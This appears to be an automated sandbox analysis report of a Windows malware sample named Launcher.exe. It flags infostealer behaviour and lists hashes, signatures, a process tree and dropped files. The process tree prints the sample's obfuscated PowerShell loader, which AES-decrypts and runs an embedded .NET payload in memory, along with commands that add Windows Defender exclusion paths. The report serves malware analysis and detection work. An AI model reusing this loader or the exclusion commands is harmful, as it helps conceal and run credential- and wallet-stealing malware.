Analysis
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max time kernel
62s -
max time network
71s -
platform
windows10-1703_x64 -
resource
win10-20230703-en -
resource tags
arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system -
submitted
27-08-2023 22:36
Static task
static1
Behavioral task
behavioral1
Sample
Launcher.exe
Resource
win7-20230824-en
Behavioral task
behavioral2
Sample
Launcher.exe
Resource
win10-20230703-en
General
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Target
Launcher.exe
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Size
148.9MB
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MD5
0413f927661212f44a19475d7110e97d
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SHA1
3f4431b1e32995777a7d234a2e7604674d7763e0
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SHA256
8df009feace560a1ad2466d60cb90b5be793021b2fbb5af90a13645a137e317e
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SHA512
15e94706d36e419adefe51be8566d41e945d30e8fc89dbcc19d67da9efe823665b54064a8a246d8a61c5bf8760d196f00f46fe11f04c5e9992f9e8ac5cb89035
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SSDEEP
786432:A5N1mgE/WgDe6UmdCvF4N3RtI9n1gqBf8IC3ZNXDPWsUwZnb5xFTtLwSTRpf4P1d:qSgU/UmamUyqt8yctjdqSjR2
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 4532 White.bat.exe 3460 Update.exe -
Loads dropped DLL 3 IoCs
pid Process 4104 Launcher.exe 4104 Launcher.exe 4104 Launcher.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3828 powershell.exe 3828 powershell.exe 3828 powershell.exe 4532 White.bat.exe 4532 White.bat.exe 4532 White.bat.exe 3996 powershell.exe 3996 powershell.exe 3996 powershell.exe 4532 White.bat.exe 4532 White.bat.exe -
Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeDebugPrivilege 4104 Launcher.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeIncreaseQuotaPrivilege 3828 powershell.exe Token: SeSecurityPrivilege 3828 powershell.exe Token: SeTakeOwnershipPrivilege 3828 powershell.exe Token: SeLoadDriverPrivilege 3828 powershell.exe Token: SeSystemProfilePrivilege 3828 powershell.exe Token: SeSystemtimePrivilege 3828 powershell.exe Token: SeProfSingleProcessPrivilege 3828 powershell.exe Token: SeIncBasePriorityPrivilege 3828 powershell.exe Token: SeCreatePagefilePrivilege 3828 powershell.exe Token: SeBackupPrivilege 3828 powershell.exe Token: SeRestorePrivilege 3828 powershell.exe Token: SeShutdownPrivilege 3828 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeSystemEnvironmentPrivilege 3828 powershell.exe Token: SeRemoteShutdownPrivilege 3828 powershell.exe Token: SeUndockPrivilege 3828 powershell.exe Token: SeManageVolumePrivilege 3828 powershell.exe Token: 33 3828 powershell.exe Token: 34 3828 powershell.exe Token: 35 3828 powershell.exe Token: 36 3828 powershell.exe Token: SeDebugPrivilege 4532 White.bat.exe Token: SeDebugPrivilege 3996 powershell.exe Token: SeIncreaseQuotaPrivilege 3996 powershell.exe Token: SeSecurityPrivilege 3996 powershell.exe Token: SeTakeOwnershipPrivilege 3996 powershell.exe Token: SeLoadDriverPrivilege 3996 powershell.exe Token: SeSystemProfilePrivilege 3996 powershell.exe Token: SeSystemtimePrivilege 3996 powershell.exe Token: SeProfSingleProcessPrivilege 3996 powershell.exe Token: SeIncBasePriorityPrivilege 3996 powershell.exe Token: SeCreatePagefilePrivilege 3996 powershell.exe Token: SeBackupPrivilege 3996 powershell.exe Token: SeRestorePrivilege 3996 powershell.exe Token: SeShutdownPrivilege 3996 powershell.exe Token: SeDebugPrivilege 3996 powershell.exe Token: SeSystemEnvironmentPrivilege 3996 powershell.exe Token: SeRemoteShutdownPrivilege 3996 powershell.exe Token: SeUndockPrivilege 3996 powershell.exe Token: SeManageVolumePrivilege 3996 powershell.exe Token: 33 3996 powershell.exe Token: 34 3996 powershell.exe Token: 35 3996 powershell.exe Token: 36 3996 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4104 wrote to memory of 3828 4104 Launcher.exe 70 PID 4104 wrote to memory of 3828 4104 Launcher.exe 70 PID 4104 wrote to memory of 3476 4104 Launcher.exe 75 PID 4104 wrote to memory of 3476 4104 Launcher.exe 75 PID 3476 wrote to memory of 4532 3476 cmd.exe 77 PID 3476 wrote to memory of 4532 3476 cmd.exe 77 PID 4104 wrote to memory of 3996 4104 Launcher.exe 78 PID 4104 wrote to memory of 3996 4104 Launcher.exe 78 PID 4104 wrote to memory of 3460 4104 Launcher.exe 81 PID 4104 wrote to memory of 3460 4104 Launcher.exe 81 PID 4104 wrote to memory of 3460 4104 Launcher.exe 81
Processes
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C:\Users\Admin\AppData\Local\Temp\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\TempFolder2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3828
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\TempFolder\White.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:3476 -
C:\Users\Admin\AppData\Roaming\TempFolder\White.bat.exe"White.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_BEfTf = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\TempFolder\White.bat').Split([Environment]::NewLine);foreach ($_CASH_cSMGB in $_CASH_BEfTf) { if ($_CASH_cSMGB.StartsWith(':: @')) { $_CASH_tiCLs = $_CASH_cSMGB.Substring(4); break; }; };$_CASH_tiCLs = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tiCLs, '_CASH_', '');$_CASH_YOQbw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tiCLs);$_CASH_IiqDP = New-Object System.Security.Cryptography.AesManaged;$_CASH_IiqDP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_IiqDP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_IiqDP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZGLYQpXzqZGio1AM3RKuGPD761wgVPaj/0ACagm3x4Q=');$_CASH_IiqDP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8fyzMDu1kB6HN1zdS5E5ew==');$_CASH_dmOzy = $_CASH_IiqDP.CreateDecryptor();$_CASH_YOQbw = $_CASH_dmOzy.TransformFinalBlock($_CASH_YOQbw, 0, $_CASH_YOQbw.Length);$_CASH_dmOzy.Dispose();$_CASH_IiqDP.Dispose();$_CASH_LIOIB = New-Object System.IO.MemoryStream(, $_CASH_YOQbw);$_CASH_Fjwxu = New-Object System.IO.MemoryStream;$_CASH_XnHig = New-Object System.IO.Compression.GZipStream($_CASH_LIOIB, [IO.Compression.CompressionMode]::Decompress);$_CASH_XnHig.CopyTo($_CASH_Fjwxu);$_CASH_XnHig.Dispose();$_CASH_LIOIB.Dispose();$_CASH_Fjwxu.Dispose();$_CASH_YOQbw = $_CASH_Fjwxu.ToArray();$_CASH_gCWCr = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_YOQbw);$_CASH_mvcbk = $_CASH_gCWCr.EntryPoint;$_CASH_mvcbk.Invoke($null, (, [string[]] ('')))3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3996
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C:\Users\Admin\AppData\Roaming\TempFolder\Update.exe"C:\Users\Admin\AppData\Roaming\TempFolder\Update.exe"2⤵
- Executes dropped EXE
PID:3460
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C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\c6a3d625e5d54115a10522355501cecf /t 768 /p 41041⤵PID:4492
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD58592ba100a78835a6b94d5949e13dfc1
SHA163e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA51287f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
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Filesize
1KB
MD562cccd1805930eb428863ffb5fc015a5
SHA1e9815f0969bc30d94fd88644cd603a0a696bef54
SHA256336349c537548b230381bdd14f45f27f282c6269b2dc485c37d7a472c8d382b4
SHA512e261da720bbe9429bc0b74e34d878852ac0c81d1851fd60cd91890db7c1a606ffc4f8425677e9ed634047cc08a0ef9702c5f269fd53b7e5533be19b9f67528e6
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Filesize
4KB
MD59fbdba17f565293b9533414220476dd3
SHA18fbc95c108355ba6767b8fafd61c3c3f07fcf0a9
SHA256ff7173dfc80ede468fb3e66af0061b973ad3472b63cfa0d808856cd87c8c0238
SHA51232952309adae6cbbd86b3cb8e345e3233e618b618b43c6eb1e59e7d693a6f1c45e6a687263715356863501f915ed32b60776c316dd2b659eb9683068ea41b97d
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
2.4MB
MD506c8202d2099957c9306f015df5d0139
SHA14d59241817e25e858680f7658e5f5bb7fb74d8a3
SHA25680bf899a2d9d24288525e8d41597efbb4612facc06f69910b9cfc1b285d44544
SHA5129fb30ac11279cb2b5e4d50b0b998b2d04498758c8dc78ff8c12b0e907d24037aa0cc8a7ecf6416e858a9110441e4ce8661f2cda29508bf089871e9a07d8430be
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Filesize
2.4MB
MD506c8202d2099957c9306f015df5d0139
SHA14d59241817e25e858680f7658e5f5bb7fb74d8a3
SHA25680bf899a2d9d24288525e8d41597efbb4612facc06f69910b9cfc1b285d44544
SHA5129fb30ac11279cb2b5e4d50b0b998b2d04498758c8dc78ff8c12b0e907d24037aa0cc8a7ecf6416e858a9110441e4ce8661f2cda29508bf089871e9a07d8430be
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Filesize
449KB
MD5b06355cf59db16e77fa973f744f15cd0
SHA162ab10cdc8694d62c2347214ae32ecab473559db
SHA25650d8918d86e0d6643ce087d1820060f9839be808692d6eb0085ab0806e9a7beb
SHA512e1fdfa1f4da423c9f4e5b700dc4fa1815cefe8701629130e2bc19b75b30c27bedb1832edc9f64e809538a59cfa4256f5f5dfb220eb81e4a1cc371c0872939fc3
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Filesize
435KB
MD5f7722b62b4014e0c50adfa9d60cafa1c
SHA1f31c17e0453f27be85730e316840f11522ddec3e
SHA256ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa
SHA5127fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4
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Filesize
435KB
MD5f7722b62b4014e0c50adfa9d60cafa1c
SHA1f31c17e0453f27be85730e316840f11522ddec3e
SHA256ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa
SHA5127fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4
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\Users\Admin\AppData\Local\Temp\.net\Launcher\BzgCgbfZ7GWrOkrapwDvBXaeXpeaAAE=\D3DCompiler_47_cor3.dll
Filesize4.7MB
MD52191e768cc2e19009dad20dc999135a3
SHA1f49a46ba0e954e657aaed1c9019a53d194272b6a
SHA2567353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
SHA5125adcb00162f284c16ec78016d301fc11559dd0a781ffbeff822db22efbed168b11d7e5586ea82388e9503b0c7d3740cf2a08e243877f5319202491c8a641c970
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\Users\Admin\AppData\Local\Temp\.net\Launcher\BzgCgbfZ7GWrOkrapwDvBXaeXpeaAAE=\PresentationNative_cor3.dll
Filesize1.2MB
MD5c7bcc68b81e965fe74ef58d503c58deb
SHA199990f204f7318eeb8de6f9664ebcd0d42ea81b7
SHA25606cb4da78f5cfddece86329241a2af9d6390ce1082b02f7db2e3bf320215a23e
SHA512cab2bc27eca0ee097324a2471c8228f1723cfef5df9971359eec7710082c122b26a7aa1d1e6faab75389438a358bbff2973ad67e8dd9046455b4c4ac880d858c
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Filesize
1.9MB
MD51b01746fe61beb761a643050823190b0
SHA1927b12e4a733bcc51545c6a005838a24b8dc4dda
SHA256f8c4d6eb1cfa9c5b6fb322a0c818a4f5d5ee44043c259e0262c0460513953fb8
SHA51283eeb187e554588a5a4efbce0fcb7e9c30e718ec9f6d797a7add28036e3d4506cd3e78386522467d7ac967a60ac509a23edd79a1b9032a7e230d980b9f36080a